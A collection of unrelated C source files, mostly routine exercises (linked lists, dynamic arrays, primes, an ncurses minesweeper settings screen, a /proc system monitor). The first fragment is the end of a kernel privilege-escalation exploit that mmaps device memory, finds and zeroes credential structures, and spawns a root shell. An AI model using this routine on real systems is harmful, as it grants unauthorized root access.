return -1;
}
size = 0xf00000000;
addr = (unsigned int *)mmap((void*)mmapStart, size,
PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (addr == MAP_FAILED) {
perror("failed to mmap:");
close(fd);
return -1;
}
printf("[+]mmap ok addr: %lx\n", addr);
while (((unsigned long)addr) < (mmapStart + size))
{
count = 0;
if (
addr[count++] == uid &&
addr[count++] == uid &&
addr[count++] == uid &&
addr[count++] == uid &&
addr[count++] == uid &&
addr[count++] == uid &&
addr[count++] == uid &&
addr[count++] == uid
) {
credNum ++;
printf("[+]found ptr:%p ,crednum:%d\n", addr, credNum);
count = 0;
addr[count++] = 0;
addr[count++] = 0;
addr[count++] = 0;
addr[count++] = 0;
addr[count++] = 0;
addr[count++] = 0;
addr[count++] = 0;
addr[count++] = 0;
if (getuid() == 0) {
printf("[+] root successed.\n");
execl("/bin/sh", "-", (char *)NULL);
printf("Execl Failed.\n");
break;
}
else {
count = 0;
addr[count++] = uid;
addr[count++] = uid;
addr[count++] = uid;
addr[count++] = uid;
addr[count++] = uid;
addr[count++] = uid;
addr[count++] = uid;
addr[count++] = uid;
}
}
addr ++;
}
close(fd);
return 0;
}
|
C | #include "lists.h"
/**
*sum_dlistint - Sum all int into linked list
*@head: Head of the linked list.
*Return: Integer of sum.
*/
int sum_dlistint(dlistint_t *head)
{
int i = 0;
dlistint_t *tmp;
if (head == NULL)
return (0);
tmp = head;
while (tmp != NULL)
{
i = i + tmp->n;
tmp = tmp->next;
}
return (i);
}
|
C | #include"array.h"
#include<stdio.h>
#include<stdlib.h>
const int BLOCK_SIZE = 20;
//typedef struct {
// int *array;
// int size;
//}Array;
//һԶСı
Array array_create(int init_size)
{
Array a;
a.size = init_size;
a.array = (int*)malloc(sizeof(int)*init_size);
return a;
}
//ͷڴ
void array_free(Array *a)
{
free(a->array);
a->array = NULL;//ַָΪ,ͷ
a->size = 0;//
}
//װ ڲʵϸڵı
int array_size(const Array *a)
{
return a->size;
}
//Զ,ڷָ Խ ±ʱ,Զ
int * array_at(Array *a,int index)
{
if(index >= a->size)//Ĵ,ԶBLOCK_SIZEڴ
{
array_inflate(a,(index/BLOCK_SIZE+1)*BLOCK_SIZE-a->size);
}
return &(a->array[index]);
}
//ָλøֵ
int array_set(Array *a,int index,int value)
{
a->array[index] = value;
return a->array[index];
}
//Ϊsize
void array_inflate(Array *a,int more_size)
{
//һռ
int *p = (int*)malloc(sizeof(int)*(a->size + more_size));
//ԭڴ Ϣ ¿ٵĿռڴ ,= memcpy()
int i;
for(i = 0;i<a->size;i++)
{
p[i] = a->array[i];
}
free(a->array);//ͷԭпռϢ
a->array = p;// ˵ڴ ռ Ϣ ԭпռ
a->size+=more_size;//Ϊԭпռ size
}
int main(int argc ,char const *argv[])
{
Array a = array_create(5);//̬ڴ
printf("size = %d\n",array_size(&a));
*array_at(&a,0) = 10;
printf("%d\n",*array_at(&a,0));
int x = array_set(&a,1,20);
printf("%d\n",x);
int cnt = 0;
int number = 0;
while(number!= -1){
scanf("%d",&number);
if(number!=-1)
{
*array_at(&a,cnt++) = number;
}
}
array_free(&a);//ͷڴ
return 0;
}
|
C | #include<stdio.h>
#include<math.h>
//The sum of the primes below 10 is 2 + 3 + 5 + 7 = 17.
//Find the sum of all the primes below two million.
int is_prime(long n);
int main (){
long long sum = 0;
for( long i= 2; i < 2000000; i++){
if ( is_prime(i) == i ) {
sum += i;
}
}
printf("%lli is the sum of all the primes below two million.\n", sum);
}
int is_prime(long n){
short int x = 2;
while ( x <= sqrt(n) ) {
if ( n % x == 0 ) {
return 0;
}
else{
x++;
}
}
return n;
}
|
C | /*
* Multilevel queue manipulation functions
*/
#ifndef __MULTILEVEL_QUEUE_H__
#define __MULTILEVEL_QUEUE_H__
/*
* multilevel_queue_t is a pointer to an internally maintained data structure.
* Clients of this package do not need to know how the queues are
* represented. They see and manipulate only multilevel_queue_t's.
*/
typedef struct multilevel_queue multilevel_queue_t;
/*
* Returns an empty multilevel queue with number_of_levels levels.
* Returns NULL on error.
*/
multilevel_queue_t* multilevel_queue_new(int number_of_levels);
/*
* Appends a void* to the multilevel queue at the specified level.
* Return 0 (success) or -1 (failure).
*/
int multilevel_queue_enqueue(multilevel_queue_t* queue, int level, void* item);
/*
* Dequeue and return the first void* from the multilevel queue starting at
* the specified level. Levels wrap around, so as long as there is something
* in the multilevel queue, an item should be returned. Return the level that
* the item was located on and that item. If the multilevel queue is empty,
* return -1 (failure) with a NULL item.
*/
int multilevel_queue_dequeue(multilevel_queue_t* queue, int level, void** item);
/*
* Free the queue and return 0 (success) or -1 (failure).
* Do not free queue nodes; this is the responsibility of the programmer.
*/
int multilevel_queue_free(multilevel_queue_t* queue);
/*
* Get the queue at level and return that queue if success or NULL if failure
*/
queue_t* multilevel_queue_getq(multilevel_queue_t* queue, int level);
/*
* Return the total length of the multilevel queue
*/
int multilevel_queue_length(multilevel_queue_t* queue);
#endif /*__MULTILEVEL_QUEUE_H__*/
|
C | // Xadrez de Ambrolândia
#include <stdio.h>
int d2(int n, int i, int j, int cont, int matriz[][n]){
if(i >= 0 && j < n){
if(matriz[i][j] == 0){
++cont;
d2(n, --i, ++j, cont, matriz);
}
else return cont;
}
else return cont;
}
int d1(int n, int i, int j, int cont, int matriz[][n]){
if(i < n && j >= 0){
if(matriz[i][j] == 0){
++cont;
d1(n, ++i, --j, cont, matriz);
}
else return cont;
}
else return cont;
}
int diag_baixo(int n, int i, int j, int cont, int matriz[][n]){
if(i < n && j < n){
if(matriz[i][j] == 0){
++cont;
diag_baixo(n, ++i, ++j, cont, matriz);
}
else return cont;
}
else return cont;
}
int diag_cima(int n, int i, int j, int cont, int matriz[][n]){
if(i >= 0 && j >= 0){
if(matriz[i][j] == 0){
++cont;
diag_cima(n, --i, --j, cont, matriz);
}
else return cont;
}
else return cont;
}
int baixo(int n, int i, int j, int cont, int matriz[][n]){
if(i >= 0){
if(matriz[i][j] == 0){
++cont;
baixo(n, --i, j, cont, matriz);
}
else return cont;
}
else return cont;
}
int cima(int n, int i, int j, int cont, int matriz[][n]){
if(i < n){
if(matriz[i][j] == 0){
++cont;
cima(n, ++i, j, cont, matriz);
}
else return cont;
}
else return cont;
}
int esquerda(int n, int i, int j, int cont, int matriz[][n]){
if(j >= 0){
if(matriz[i][j] == 0){
++cont;
esquerda(n, i, --j, cont, matriz);
}
else return cont;
}
else return cont;
}
int direita(int n, int i, int j, int cont, int matriz[][n]){
if(j < n){
if(matriz[i][j] == 0){
++cont;
direita(n, i, ++j, cont, matriz);
}
else return cont;
}
else return cont;
}
int input(int n, int i, int j, int matriz[][n]){
if(i < n){
if(j < n){
scanf("%d", &matriz[i][j]);
input(n, i, ++j, matriz);
}
else input(n, ++i, 0, matriz);
}
else return matriz[n][n];
}
int main(){
int n; scanf("%d", &n); //Recebe o tamanho da matriz;
int matriz[n][n];
input(n, 0, 0, matriz); //Função de input;
int cont, cont1 = 0;;
for(int i = 0; i < n; i++){
cont = 0;
for(int j = 0; j < n; j++){
if(matriz[i][j] == 0){
cont = direita(n, i, j, 0, matriz) - 1; // ++j;
cont += esquerda(n, i, j, 0, matriz) - 1;
cont += cima(n, i, j, 0, matriz) - 1;
cont += baixo(n, i, j, 0, matriz) - 1;
cont += diag_cima(n, i, j, 0, matriz) - 1;
cont += diag_baixo(n, i, j, 0, matriz) - 1;
cont += d1(n, i, j, 0, matriz) - 1; // Diagonal inferior esquerda.
cont += d2(n, i, j, 0, matriz) - 1; // Diagonal superior direita.
}
if(cont >= cont1) cont1 = cont;
cont = 0;
}
}
printf("%d\n", cont1);
}
|
C | #include <stdio.h>
int main(void)
{
int n,k,a[10],i,b;
scanf("%d %d",&n,&k);
printf("The given two numbers n and k are:%d and %d\n",n,k);
scanf("%d",&b);
for(i=0;i<=b;i++)
{
scanf("%d",&a[i]);
}
for(i=0;i<=b;i++)
{
if(a[i]==k)
{
printf("K exists");
}
}
return 0;
}
|
C | #include<stdio.h>
int main(){
int i, numero = 0;
printf("Informe um numero: ");
scanf("%d", &numero);
int sequencia[numero];
for(i = 0; i < numero; i++){
if(i < 2){
sequencia[i] = 1;
} else {
sequencia[i] = sequencia[i-2] + sequencia[i-1];
}
}
for(i = 0; i < numero; i++) {
printf("%d ", sequencia[i]);
}
return 0;
}
|
C | #include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <string.h>
#define VAR_SIZE 4
typedef struct Var
{
union data
{
double d;
int src_index;
char c;
}data;
enum {Int,Double,Char}type_name;
}Var;
// VM
struct Frame
{
Var *local_field;
Var return_var;
};
// Lexer
char* loadfile(const char* filename)
{
char *source;
FILE *f = fopen(filename, "r");
fseek(f, 0, SEEK_END);
long fsize = ftell(f);
fseek(f, 0, SEEK_SET); //same as rewind(f);
source = malloc(fsize + 1);
fread(source, fsize, 1, f);
fclose(f);
source[fsize] = 0;
return source;
}
typedef enum Token
{
VAR,
ADD,
SUB,
MUL,
DIV,
EQL,
CMP,
IF,
ELSE,
ELIF,
FOR
}Token;
Token* lexer(const char* source)
{
Token *token_stream = calloc(256,sizeof(Token));
static unsigned int tpos_begin,tpos_end,src_index,stream_index = 0;
while(source[src_index]!='\0')
{
if(source[src_index] == '=')
{
token_stream[stream_index] = EQL;
stream_index++;
}
else if(source[src_index] == '+')
{
token_stream[stream_index] = ADD;
stream_index++;
}
else if(!isspace(source[src_index]))
{
tpos_begin = src_index;
char buffer[256] = "";
unsigned int buffer_index = 0;
while(!isspace(source[src_index]))
{
buffer[buffer_index] = source[src_index];
buffer_index++;
src_index++;
}
printf("token = (%s)\n",buffer);
}
src_index++;
}
return token_stream;
}
int main(int argc, char **argv)
{
const char *source = loadfile("example.txt");
lexer(source);
return 0;
}
|
C | #include "settings_state.h"
CONFIG_FILE ms_game_settings = {9, 9, 10, 3};
void play_settings_state()
{
int c, selected_item = -1, n_choices = 5;
// menu options
char *choices[] = {
"Rows number",
"Cols number",
"Mines number",
"Cell size",
"Go back",
};
// full size window
WINDOW *settings_win = newwin(0, 0, 0, 0);
WINDOW *settings_box = subwin(settings_win, 6, 21, (LINES - 6)/2 + 3, (COLS - 20)/2);
// same colors as intro state
wbkgd(settings_win, COLOR_PAIR(7));
// border - without animation
loading_animation(settings_win, 0);
// logo
wattron(settings_win, COLOR_PAIR(15));
print_splash_screen(settings_win, 0);
wattroff(settings_win, COLOR_PAIR(15));
// menu and items
ITEM **settings_items = create_menu_items(choices, n_choices);
MENU *settings = create_menu(choices, n_choices, settings_items);
// menu's parent window
set_menu_win(settings, settings_box);
// show menu
post_menu(settings);
// info message
wattron(settings_win, COLOR_PAIR(14));
mvwprintw(settings_win, LINES - 6, (COLS - 52)/2, "Use LEFT/RIGHT arrows to decrease/increase the value");
wattroff(settings_win, COLOR_PAIR(14));
// update screen
wrefresh(settings_win);
wrefresh(settings_box);
// print settings values
print_settings_values(settings_box);
// if you dont understand this code, you should be flipping burgers instead
while(selected_item != n_choices - 1 && (c = getch())) {
switch(c) {
case KEY_DOWN:
menu_driver(settings, REQ_DOWN_ITEM);
beep();
break;
case KEY_UP:
menu_driver(settings, REQ_UP_ITEM);
beep();
break;
// enter - exit only
case 10:
selected_item = item_index(current_item(settings));
break;
case KEY_RIGHT:
incr_value(item_index(current_item(settings)));
break;
case KEY_LEFT:
decr_value(item_index(current_item(settings)));
break;
default:
// exit with ESC
selected_item = c == 27 ? n_choices - 1 : selected_item;
break;
}
// print the new values
print_settings_values(settings_box);
wrefresh(settings_box);
}
// free memory
destroy_menu(settings, settings_items, choices, n_choices);
delwin(settings_box);
delwin(settings_win);
// write changes to the file
save_settings();
// escape was pressed, return to menu state
play_menu_state();
}
void print_settings_values(WINDOW *settings_box)
{
wattron(settings_box, COLOR_PAIR(7));
mvwprintw(settings_box, 0, 18, "%3d", ms_game_settings.rows);
mvwprintw(settings_box, 1, 18, "%3d", ms_game_settings.cols);
mvwprintw(settings_box, 2, 18, "%3d", ms_game_settings.mines);
mvwprintw(settings_box, 3, 18, "%3d", ms_game_settings.cell_size);
wattroff(settings_box, COLOR_PAIR(7));
wrefresh(settings_box);
}
void incr_value(int index)
{
switch(index) {
// rows
case 0:
incr_rows();
break;
// cols
case 1:
incr_cols();
break;
// mines
case 2:
incr_mines();
break;
// cell height = cell_size, width = 2 * cell_size
case 3:
incr_cell();
break;
}
// auto cell size
check_cell();
}
void decr_value(int index)
{
switch(index) {
// rows
case 0:
decr_rows();
break;
// cols
case 1:
decr_cols();
break;
// mines
case 2:
decr_mines();
break;
// cell size
case 3:
decr_cell();
break;
}
// avoid a bug
check_mines();
}
// load settings from file
void load_saved_settings()
{
FILE *f = fopen(SETTINGS_FILE, "rb");
if(!f) {
// create file
save_settings();
return;
}
// file exists
fread(&ms_game_settings, sizeof(ms_game_settings), 1, f);
fclose(f);
}
// save settings to file
void save_settings()
{
FILE *f = fopen(SETTINGS_FILE, "wb");
fwrite(&ms_game_settings, sizeof(ms_game_settings), 1, f);
fclose(f);
}
void incr_rows()
{
if(ms_game_settings.rows < 30)
ms_game_settings.rows++;
}
void decr_rows()
{
if(ms_game_settings.rows > 1)
ms_game_settings.rows--;
}
void incr_cols()
{
if(ms_game_settings.cols < 30)
ms_game_settings.cols++;
}
void decr_cols()
{
if(ms_game_settings.cols > 1)
ms_game_settings.cols--;
}
void incr_mines()
{
if(ms_game_settings.mines < ms_game_settings.rows * ms_game_settings.cols - 1)
ms_game_settings.mines++;
}
void decr_mines()
{
if(ms_game_settings.mines > 1)
ms_game_settings.mines--;
}
void check_mines()
{
int max = ms_game_settings.rows * ms_game_settings.cols - 1;
if(ms_game_settings.mines > max)
ms_game_settings.mines = max;
if(!ms_game_settings.mines)
ms_game_settings.mines = 1;
}
void incr_cell()
{
if(ms_game_settings.cell_size < 3)
ms_game_settings.cell_size++;
}
void decr_cell()
{
if(ms_game_settings.cell_size > 1)
ms_game_settings.cell_size--;
}
void check_cell()
{
// 12 rows and 18 cols fits a 132x43 terminal with cell_size = 2
int max;
if(ms_game_settings.rows > ms_game_settings.cols)
max = ms_game_settings.rows;
else
max = ms_game_settings.cols;
if(max >= 1)
ms_game_settings.cell_size = 3;
if(max > 10)
ms_game_settings.cell_size = 2;
if(max > 12)
ms_game_settings.cell_size = 1;
} |
C | #include <stdio.h>
main()
{
int numero;
int contad;
numero=0;
contad=0;
printf("Cuantos asteriscos quiere?: ");
scanf("%d", &numero);
for(contad=1; contad <= numero ; contad++)
{
printf("*");
}
contad=1;
while(contad <= numero)
{
printf("*");
contad++;
}
contad=1;
do
{
printf("*");
contad++;
}
while(contad <= numero);
} |
C | #include <stdio.h>
#include <stdlib.h>
#include <locale.h>
int Solicitar(int i);
int Somatorio(int valores[6]);
int Solicitar(int i) {
int solicitarvalor;
printf("Digite o %d valor: ", i);
scanf("%d", &solicitarvalor);
return solicitarvalor;
}
int Somatorio(int valores[6]) {
int j,resultsomatorio=0;
for (j = 1; j <= 5; j++) {
resultsomatorio = resultsomatorio + valores[j];
}
return resultsomatorio;
}
int main() {
setlocale(LC_ALL, "Portuguese");
int i,valores[6],resultado;
for (i = 1; i <= 5; i++) {
valores[i] = Solicitar(i);
}
resultado = Somatorio(valores);
printf("\nO somatrio : %d\n", resultado);
return 0;
}
|
C | #include <ctype.h>
#include <dirent.h>
#include <fcntl.h>
#include <limits.h>
#include <math.h>
#include <pwd.h>
#include <stdbool.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <unistd.h>
#include <dirent.h>
/* Preprocessor Directives */
#ifndef DEBUG
#define DEBUG 0
#endif
/**
* Logging functionality. Set DEBUG to 1 to enable logging, 0 to disable.
*/
#define LOG(fmt, ...) \
do { if (DEBUG) fprintf(stderr, "%s:%d:%s(): " fmt, __FILE__, \
__LINE__, __func__, __VA_ARGS__); } while (0)
/* Function prototypes */
void print_usage(char *argv[]);
char *next_token(char **str_ptr, const char *delim);
void systemInformation();
void hardwareInformation();
void cpuModel(char *cpuModel);
void loadAver(char *loadAverage);
void cpuUsage(long int *result);
void memoryUsage(char *userPercentage);
void taskList();
void taskSummary();
void readFile(char *filepath, char *buf);
/* This struct is a collection of booleans that controls whether or not the
* various sections of the output are enabled. */
struct view_opts {
bool hardware;
bool system;
bool task_list;
bool task_summary;
};
void print_usage(char *argv[]) {
printf("Usage: %s [-ahlrst] [-p procfs_dir]\n" , argv[0]);
printf("\n");
printf("Options:\n"
" * -a Display all (equivalent to -lrst, default)\n"
" * -h Help/usage information\n"
" * -l Task List\n"
" * -p procfs_dir Change the expected procfs mount point (default: /proc)\n"
" * -r Hardware Information\n"
" * -s System Information\n"
" * -t Task Information\n");
printf("\n");
}
/* main func that runs the whole program
*
* */
int main(int argc, char *argv[]){
/* Default location of the proc file system */
char *procfs_loc = "/proc";
/* Set to true if we are using a non-default proc location */
bool alt_proc = false;
struct view_opts all_on = { true, true, true, true };
struct view_opts options = { false, false, false, false };
int c;
opterr = 0;
while ((c = getopt(argc, argv, "ahlp:rst")) != -1) {
switch (c) {
case 'a':
options = all_on;
break;
case 'h':
print_usage(argv);
return 0;
case 'l':
options.task_list = true;
break;
case 'p':
procfs_loc = optarg;
alt_proc = true;
break;
case 'r':
options.hardware = true;
break;
case 's':
options.system = true;
break;
case 't':
options.task_summary = true;
break;
case '?':
if (optopt == 'p') {
fprintf(stderr,
"Option -%c requires an argument.\n", optopt);
} else if (isprint(optopt)) {
fprintf(stderr, "Unknown option `-%c'.\n", optopt);
} else {
fprintf(stderr,
"Unknown option character `\\x%x'.\n", optopt);
}
print_usage(argv);
return 1;
default:
abort();
}
}
if (alt_proc == true) {
LOG("Using alternative proc directory: %s\n", procfs_loc);
// change current working directory
chdir(procfs_loc);
/* Remove two arguments from the count: one for -p, one for the
* directory passed in: */
argc = argc - 2;
} else {
// if not using alternative directory, then just go to /proc
chdir(procfs_loc);
}
if (argc <= 1) {
/* No args (or -p only). Enable all options: */
options = all_on;
}
if (options.system) {
systemInformation();
}
if (options.hardware) {
hardwareInformation();
}
if (options.task_summary) {
taskSummary();
}
if (options.task_list) {
taskList();
}
LOG("Options selected: %s%s%s%s\n",
options.hardware ? "hardware " : "",
options.system ? "system " : "",
options.task_list ? "task_list " : "",
options.task_summary ? "task_summary" : "");
return 0;
}
/* readFile func reads file to char array
* Parameters:
* - path to file
* - pointer to char array to which file will be written
*
* */
void readFile(char *filepath, char *buf) {
int fd = open(filepath, O_RDONLY);
if (fd == -1) {
perror("open");
exit(EXIT_FAILURE);
}
ssize_t read_sz;
read_sz = read(fd, buf, 100000);
close(fd);
if (read_sz == -1) {
perror("read");
exit(EXIT_FAILURE);
}
};
/* systemInformation func that grabs files from /proc,
* gets the needed info about system and prints this information
*
* */
void systemInformation() {
// hostname
char hostnameFile[100000];
readFile("sys/kernel/hostname", hostnameFile);
char *next_tok_hostname = hostnameFile;
// take first word from file in /proc/sys/kernel/hostname
char *hostname = next_token(&next_tok_hostname, "\n");
//linux version
char versionFile[100000];
readFile("sys/kernel/osrelease", versionFile);
char *next_tok_version = versionFile;
// take first word from file in /proc/sys/kernel/osrelease
char *version = next_token(&next_tok_version, "\n");
//uptime
char uptimeFile[100000];
readFile("uptime", uptimeFile);
char *next_tok_uptime = uptimeFile;
// take first long int in /uptime file
long int uptime = strtol(next_token(&next_tok_uptime, " "), NULL, 10);
//now we need to convert seconds to years, days, mins and secs
long int year = uptime / (24*3600*365);
uptime = uptime % (24*3600*365);
long int day = uptime / (24 * 3600);
uptime = uptime % (24 * 3600);
long int hour = uptime / 3600;
uptime %= 3600;
long int minutes = uptime / 60 ;
uptime %= 60;
long int seconds = uptime;
//allocate memory for char array that will hold uptime info that is needed
//to be printed
char *resultUptime = malloc(200 * sizeof(char));
strcpy(resultUptime, "Uptime: ");
// variable for casting long int to char array
char castToChar[20];
// print years, days and hours ONLY if they are larger that 0
if (year > 0) {
sprintf(castToChar, "%ld", year);
strcat(resultUptime, castToChar);
strcat(resultUptime, " years, ");
}
if (day > 0) {
sprintf(castToChar, "%ld", day);
strcat(resultUptime, castToChar);
strcat(resultUptime, " days, ");
}
if (hour > 0) {
sprintf(castToChar, "%ld", hour);
strcat(resultUptime, castToChar);
strcat(resultUptime, " hours, ");
}
//print minutes and seconds even if they are equal to 0
sprintf(castToChar, "%ld", minutes);
strcat(resultUptime, castToChar);
strcat(resultUptime, " minutes, ");
sprintf(castToChar, "%ld", seconds);
strcat(resultUptime, castToChar);
strcat(resultUptime, " seconds");
printf("System Information\n");
printf("------------------\n");
printf("Hostname: %s\n", hostname);
printf("Kernel Version: %s\n", version);
printf("%s\n\n", resultUptime);
//free
free(resultUptime);
}
/* hardwareInformation func that grabs files from /proc,
* gets the needed info about hardware and prints this information
*
* */
void hardwareInformation() {
//allocate memory for char array that will hold cpu model info and pass it to cpuModel func
char *modelCpu = malloc(25 *sizeof(char));
cpuModel(modelCpu);
// get num of processing units
char cpuInfoFile[100000];
readFile("stat", cpuInfoFile);
char *next_tok = cpuInfoFile;
char *curr_tok;
int numOfCPUs = 0;
while ((curr_tok = next_token(&next_tok, " :\n\0,?!")) != NULL) {
//increase numOfCpus with each "cpu" word in /stat file
if (strncmp(curr_tok, "cpu", 3) == 0) {
numOfCPUs++;
}
}
// decrease numOfCpus by 1 because first "cpu" in stat is general cpu
numOfCPUs--;
//allocate memory for load avg char array and pass it to func loadAver
char *loadAvg = malloc(100 *sizeof(char));
loadAver(loadAvg);
//allocate memory for memory usage char array and pass it to func memoryUsage
char *usageMem = malloc(100 * sizeof(char));
memoryUsage(usageMem);
//get array containing total and idle then sleep for 1 sec and get total and idle time again
long int *time1 = malloc(2* sizeof(long int));
cpuUsage(time1);
sleep(1);
long int *time2 = malloc(2* sizeof(long int));
cpuUsage(time2);
float usageCpu;
//if they are equal then 0
if (time1[0] == time2[0] && time1[1] == time2[1]) {
usageCpu = 0;
} else {
// calculate cpu usage by formula usage = 1 - ((idle2 - idle1) / (total2 - total1))
long int total = time2[0] - time1[0];
long int idle = time2[1] - time1[1];
float idlePercent = idle/total;
usageCpu = 1 - idlePercent;
}
//allocate memory for char array containing nicely formatted info about cpu usage
char *printUsageCpu = malloc(50 * sizeof(char));
char castToChar[20];
strcpy(printUsageCpu, "CPU Usage: [");
// for making right percantage of # and -
int hashtags = (int)usageCpu/5;
int dashes = 20 - hashtags;
for (int i = 0; i < hashtags; i++) {
strcat(printUsageCpu,"#");
}
for (int i = 0; i < dashes; i++) {
strcat(printUsageCpu,"-");
}
strcat(printUsageCpu, "] ");
sprintf(castToChar, "%0.1f", usageCpu);
strcat(printUsageCpu, castToChar);
strcat(printUsageCpu, "%");
printf("Hardware Information\n");
printf("--------------------\n");
printf("CPU Model: %s\n", modelCpu);
printf("Processing Units: %d\n", numOfCPUs);
printf("Load Average (1/5/15 min): %s\n", loadAvg);
printf("%s\n", printUsageCpu);
printf("%s\n\n", usageMem);
// free all allocated memory
free(modelCpu);
free(loadAvg);
free(usageMem);
free(printUsageCpu);
free(time1);
free(time2);
}
/* cpuModel func that grabs info from cpuinfo file in proc and writes it to char array
* Parameters:
* - pointer to char array to which cpu model will be written
*
* */
void cpuModel(char *cpuModel) {
char cpuFile[100000];
readFile("cpuinfo", cpuFile);
char *next_tok = cpuFile;
char *curr_tok;
bool modelNameFound = false;
int countOfWords = 0;
while ((curr_tok = next_token(&next_tok, " ,?!:\t\n")) != NULL) {
// cpu model name is after the word "name" and before word "stepping"
if (modelNameFound) {
// count the words to put whitespaces
countOfWords++;
// if "stepping" is reached, then break
if(strcmp(curr_tok, "stepping") == 0) {
break;
}
if (countOfWords > 1) {
strcat(cpuModel, " ");
}
strcat(cpuModel, curr_tok);
}
if (strcmp(curr_tok, "name") == 0) {
modelNameFound = true;
}
}
}
/* loadAver func that grabs info from loadavg file in proc and writes it to char array
* Parameters:
* - pointer to char array to which load average will be written
*
* */
void loadAver(char *loadAverage) {
char loadAvgFile[100000];
readFile("loadavg", loadAvgFile);
char *next_tok = loadAvgFile;
char *curr_tok;
int count = 0;
while ((curr_tok = next_token(&next_tok, " \0")) != NULL) {
// only first three tokens in loadavg file are needed
if (count >= 3) {
break;
} else {
if (count >= 1) {
strcat(loadAverage, " ");
}
strcat(loadAverage, curr_tok);
count++;
}
}
}
/* cpuUsage func that grabs info from stat file in proc and writes it to long int array
* Parameters:
* - pointer to long int array to which total and idle will be written
*
* */
void cpuUsage(long int *result) {
char cpuInfoFile[100000];
readFile("stat", cpuInfoFile);
char *next_tok = cpuInfoFile;
char *curr_tok;
int count = 0;
// get all the fields
long int user = 0;
long int nice = 0;
long int system = 0;
long int idle = 0;
long int iowait = 0;
long int irq = 0;
long int softirq = 0;
long int steal = 0;
long int guest = 0;
long int guestnice = 0;
while ((curr_tok = next_token(&next_tok, " :\n\0,?!")) != NULL) {
if (count == 0) {
count++;
} else {
if (count == 12) {
break;
}
if (count == 1) {
user = strtol(curr_tok, NULL, 10);
} else if (count == 2) {
nice = strtol(curr_tok, NULL, 10);
} else if (count == 3) {
system = strtol(curr_tok, NULL, 10);
} else if (count == 4) {
idle = strtol(curr_tok, NULL, 10);
} else if (count == 5) {
iowait = strtol(curr_tok, NULL, 10);
} else if (count == 6) {
irq = strtol(curr_tok, NULL, 10);
} else if (count == 7) {
softirq = strtol(curr_tok, NULL, 10);
} else if (count == 8) {
steal = strtol(curr_tok, NULL, 10);
} else if (count == 9) {
guest = strtol(curr_tok, NULL, 10);
} else if (count == 10) {
guestnice = strtol(curr_tok, NULL, 10);
}
count++;
}
}
// calculate total
long int total = user + nice + system + idle + iowait + irq + softirq + steal + guest + guestnice;
//write total and idle as elements of array
result[0] = total;
result[1] = idle;
}
/* memoryUsage func that grabs info from meminfo file in proc and writes it to char array in a nice format
* Parameters:
* - pointer to char array to which memory usage will be written
*
* */
void memoryUsage(char *userPercentage) {
char memInfoFile[100000];
readFile("meminfo", memInfoFile);
char *next_tok = memInfoFile;
char *curr_tok;
float memTotal = 0;
float active = 0;
while ((curr_tok = next_token(&next_tok, " :\n\0,?!")) != NULL) {
// get memtotal and active
if (strcmp(curr_tok, "MemTotal") == 0) {
memTotal = strtof(next_token(&next_tok, " ,?!"), NULL);
} else if (strcmp(curr_tok, "Active") == 0) {
active = strtof(next_token(&next_tok, " ,?!"), NULL);
}
}
//count how much it is in GB
float totalGB = memTotal/1048576;
float activeGB = active/1048576;
//count percentage of mem usage
float percentage = active/memTotal * 100;
char castToChar[30];
strcpy(userPercentage, "Memory Usage: [");
int hashtags = (int)percentage/5;
int dashes = 20 - hashtags;
for (int i = 0; i < hashtags; i++) {
strcat(userPercentage,"#");
}
for (int i = 0; i < dashes; i++) {
strcat(userPercentage,"-");
}
strcat(userPercentage, "] ");
sprintf(castToChar, "%0.1f", percentage);
strcat(userPercentage, castToChar);
strcat(userPercentage, "% (");
sprintf(castToChar, "%0.1f", activeGB);
strcat(userPercentage, castToChar);
strcat(userPercentage, " GB / ");
sprintf(castToChar, "%0.1f", totalGB);
strcat(userPercentage, castToChar);
strcat(userPercentage, " GB)");
}
/**
* taskSummary counts the number of all digit folders in proc
* gets info from stat file and prints all the info
*/
void taskSummary() {
int numOfTasks = 0;
//open the directory
DIR *directory;
if ((directory = opendir(".")) == NULL) {
perror("opendir");
exit(EXIT_FAILURE);
}
struct dirent *entry;
while ((entry = readdir(directory)) != NULL) {
size_t len = strlen(entry->d_name);
int i;
// check if directory name is all digit
for (i = 0; i < len; i++) {
if (!isdigit(entry->d_name[i])) {
break;
}
}
bool allInt = i ? true : false;
//if directory name is all digit and it is a folder then increment num of tasks
if (allInt && entry->d_type == DT_DIR) {
numOfTasks++;
}
}
//close dir
closedir(directory);
//get num of interrupts, contSwitches and forks from stat file
char buf[100000];
readFile("stat", buf);
char *next_tok = buf;
char *curr_tok;
long int interrupts;
long int contSwitches;
long int forks;
while ((curr_tok = next_token(&next_tok, " \n\0,?!")) != NULL) {
//tokens after intr, ctxt and processes are the info that we need
if (strcmp(curr_tok, "intr") == 0) {
interrupts = strtol(next_token(&next_tok, " ,?!"), NULL, 10);
} else if (strcmp(curr_tok, "ctxt") == 0) {
contSwitches = strtol(next_token(&next_tok, " ,?!"), NULL, 10);
} else if (strcmp(curr_tok, "processes") == 0) {
forks = strtol(next_token(&next_tok, " ,?!"), NULL, 10);
}
}
//print everything
printf("Task Information\n");
printf("----------------\n");
printf("Tasks running: %d\n", numOfTasks);
printf("Since boot:\n" );
printf("\tInterrupts: %ld\n", interrupts);
printf("\tContext Switches: %ld\n", contSwitches);
printf("\tForks: %ld\n\n", forks);
}
/**
* taskList prints the task list: pid, state, task name, user and num of tasks
*
*/
void taskList() {
//open /proc directory
DIR *directory;
if ((directory = opendir(".")) == NULL) {
perror("opendir");
exit(EXIT_FAILURE);
}
printf("%5s | %12s | %25s | %15s | %s \n", "PID", "State", "Task Name", "User", "Tasks");
printf("------+--------------+---------------------------+-----------------+-------\n");
struct dirent *entry;
while ((entry = readdir(directory)) != NULL) {
size_t len = strlen(entry->d_name);
int i;
for (i = 0; i < len; i++) {
if (!isdigit(entry->d_name[i])) {
break;
}
}
bool allInt = i ? true : false;
//if file in /proc has all digit name and is a folder
if (allInt && entry->d_type == DT_DIR) {
// open /tasks directory and count all the all digit folder inside to count num of tasks
int taskCount = 0;
char *taskPath = malloc(strlen(entry->d_name) + strlen("/task") + 1);
strcpy(taskPath, entry->d_name);
strcat(taskPath, "/task");
DIR *dir;
if ((dir = opendir(taskPath)) != NULL) {
struct dirent *tasks;
while ((tasks = readdir(dir)) != NULL) {
size_t len = strlen(tasks->d_name);
int i;
for (i = 0; i < len; i++) {
if (!isdigit(tasks->d_name[i])) {
break;
}
}
bool allInteger = i ? true : false;
// only if name is all digit and a folder
